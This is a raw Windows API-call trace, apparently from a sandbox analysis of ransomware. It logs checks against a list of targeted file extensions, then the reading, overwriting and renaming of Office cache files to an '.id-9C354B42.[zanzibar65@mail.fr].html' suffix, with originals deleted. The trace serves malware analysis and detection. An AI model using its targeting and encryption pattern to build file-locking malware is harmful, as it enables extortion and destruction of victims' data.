lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.152] lstrlenW (lpString=".doc") returned 4 [0044.152] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.152] lstrlenW (lpString=".docx") returned 5 [0044.152] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0044.152] lstrlenW (lpString=".pdf") returned 4 [0044.153] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString=".xls") returned 4 [0044.153] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString=".xlsx") returned 5 [0044.153] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0044.153] lstrlenW (lpString=".ppt") returned 4 [0044.153] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.153] lstrlenW (lpString=".zip") returned 4 [0044.153] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString=".rar") returned 4 [0044.153] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString=".bz2") returned 4 [0044.153] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.153] lstrlenW (lpString=".7z") returned 3 [0044.153] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.153] lstrlenW (lpString=".dbf") returned 4 [0044.153] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.153] lstrlenW (lpString=".1cd") returned 4 [0044.153] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.153] lstrlenW (lpString=".jpg") returned 4 [0044.153] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.153] lstrlenW (lpString=".doc") returned 4 [0044.153] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString=".docx") returned 5 [0044.153] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0044.153] lstrlenW (lpString=".pdf") returned 4 [0044.153] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.153] lstrlenW (lpString=".xls") returned 4 [0044.154] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString=".xlsx") returned 5 [0044.154] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0044.154] lstrlenW (lpString=".ppt") returned 4 [0044.154] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.154] lstrlenW (lpString=".zip") returned 4 [0044.154] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString=".rar") returned 4 [0044.154] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString=".bz2") returned 4 [0044.154] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.154] lstrlenW (lpString=".7z") returned 3 [0044.154] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.154] lstrlenW (lpString=".dbf") returned 4 [0044.154] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.154] lstrlenW (lpString=".1cd") returned 4 [0044.154] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0044.154] lstrlenW (lpString=".jpg") returned 4 [0044.154] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.154] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0044.154] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0044.154] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.155] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2507776) returned 1 [0044.155] CloseHandle (hObject=0x1ec) returned 1 [0044.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0044.155] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.155] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0044.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.155] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.155] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.155] ReadFile (in: hFile=0x1ec, lpBuffer=0x3930058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3930058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.159] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.159] ReadFile (in: hFile=0x1ec, lpBuffer=0x3970058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3970058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.167] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d7fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.167] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.167] ReadFile (in: hFile=0x1ec, lpBuffer=0x39b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d7fc38, lpOverlapped=0x0 | out: lpBuffer=0x39b0058*, lpNumberOfBytesRead=0x2d7fc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.183] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.183] WriteFile (in: hFile=0x1ec, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2d7fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0044.525] SetEndOfFile (hFile=0x1ec) returned 1 [0044.525] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0044.526] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.526] WriteFile (in: hFile=0x1ec, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.527] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.527] WriteFile (in: hFile=0x1ec, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.540] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fc7c | out: lpNewFilePointer=0x0) returned 1 [0044.540] WriteFile (in: hFile=0x1ec, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d7fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2d7fc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.542] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0044.542] CloseHandle (hObject=0x1ec) returned 1 [0044.543] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0044.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.543] lstrlenW (lpString=".doc") returned 4 [0044.543] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.543] lstrlenW (lpString=".docx") returned 5 [0044.543] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.543] lstrlenW (lpString=".pdf") returned 4 [0044.543] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.543] lstrlenW (lpString=".xls") returned 4 [0044.543] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.543] lstrlenW (lpString=".xlsx") returned 5 [0044.543] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.543] lstrlenW (lpString=".ppt") returned 4 [0044.543] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.543] lstrlenW (lpString=".zip") returned 4 [0044.543] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.544] lstrlenW (lpString=".rar") returned 4 [0044.544] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.544] lstrlenW (lpString=".bz2") returned 4 [0044.544] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.544] lstrlenW (lpString=".7z") returned 3 [0044.544] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.544] lstrlenW (lpString=".dbf") returned 4 [0044.544] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.544] lstrlenW (lpString=".1cd") returned 4 [0044.544] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.544] lstrlenW (lpString=".jpg") returned 4 [0044.544] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.544] lstrlenW (lpString=".doc") returned 4 [0044.544] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.544] lstrlenW (lpString=".docx") returned 5 [0044.544] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0044.544] lstrlenW (lpString=".pdf") returned 4 [0044.544] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.544] lstrlenW (lpString=".xls") returned 4 [0044.544] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.544] lstrlenW (lpString=".xlsx") returned 5 [0044.544] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0044.544] lstrlenW (lpString=".ppt") returned 4 [0044.544] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.544] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.544] lstrlenW (lpString=".zip") returned 4 [0044.545] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.545] lstrlenW (lpString=".rar") returned 4 [0044.545] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.545] lstrlenW (lpString=".bz2") returned 4 [0044.545] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.545] lstrlenW (lpString=".7z") returned 3 [0044.545] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.545] lstrlenW (lpString=".dbf") returned 4 [0044.545] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.545] lstrlenW (lpString=".1cd") returned 4 [0044.545] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0044.545] lstrlenW (lpString=".jpg") returned 4 [0044.545] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.545] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0044.545] lstrlenW (lpString="dwtrig20.exe") returned 12 [0044.545] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.736] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=519584) returned 1 [0044.736] CloseHandle (hObject=0x204) returned 1 [0044.736] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0044.736] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.736] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.736] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.736] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.736] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0044.736] GetLastError () returned 0x0 [0044.736] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0044.746] WriteFile (in: hFile=0x21c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0045.004] ReadFile (in: hFile=0x204, lpBuffer=0x3930020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.004] WriteFile (in: hFile=0x21c, lpBuffer=0x3930020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3930020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.004] SetEndOfFile (hFile=0x21c) returned 1 [0045.004] CloseHandle (hObject=0x21c) returned 1 [0045.005] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.005] SetEndOfFile (hFile=0x204) returned 1 [0045.009] CloseHandle (hObject=0x204) returned 1 [0045.009] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0045.009] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0045.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.009] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.009] lstrlenW (lpString=".doc") returned 4 [0045.009] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.009] lstrlenW (lpString=".docx") returned 5 [0045.009] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0045.009] lstrlenW (lpString=".pdf") returned 4 [0045.009] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.009] lstrlenW (lpString=".xls") returned 4 [0045.009] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.009] lstrlenW (lpString=".xlsx") returned 5 [0045.010] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0045.010] lstrlenW (lpString=".ppt") returned 4 [0045.010] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.010] lstrlenW (lpString=".zip") returned 4 [0045.010] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.010] lstrlenW (lpString=".rar") returned 4 [0045.010] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.010] lstrlenW (lpString=".bz2") returned 4 [0045.010] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.010] lstrlenW (lpString=".7z") returned 3 [0045.010] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.010] lstrlenW (lpString=".dbf") returned 4 [0045.010] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.010] lstrlenW (lpString=".1cd") returned 4 [0045.010] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.010] lstrlenW (lpString=".jpg") returned 4 [0045.010] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.010] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.010] lstrlenW (lpString=".doc") returned 4 [0045.010] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.010] lstrlenW (lpString=".docx") returned 5 [0045.010] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0045.010] lstrlenW (lpString=".pdf") returned 4 [0045.010] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.010] lstrlenW (lpString=".xls") returned 4 [0045.010] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.010] lstrlenW (lpString=".xlsx") returned 5 [0045.011] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0045.011] lstrlenW (lpString=".ppt") returned 4 [0045.011] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.011] lstrlenW (lpString=".zip") returned 4 [0045.011] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.011] lstrlenW (lpString=".rar") returned 4 [0045.011] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.011] lstrlenW (lpString=".bz2") returned 4 [0045.011] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.011] lstrlenW (lpString=".7z") returned 3 [0045.011] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.011] lstrlenW (lpString=".dbf") returned 4 [0045.011] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.011] lstrlenW (lpString=".1cd") returned 4 [0045.011] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.011] lstrlenW (lpString=".jpg") returned 4 [0045.011] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.011] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0045.011] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0045.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0045.012] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3702272) returned 1 [0045.012] CloseHandle (hObject=0x204) returned 1 [0045.012] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0045.012] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.012] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0045.012] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all 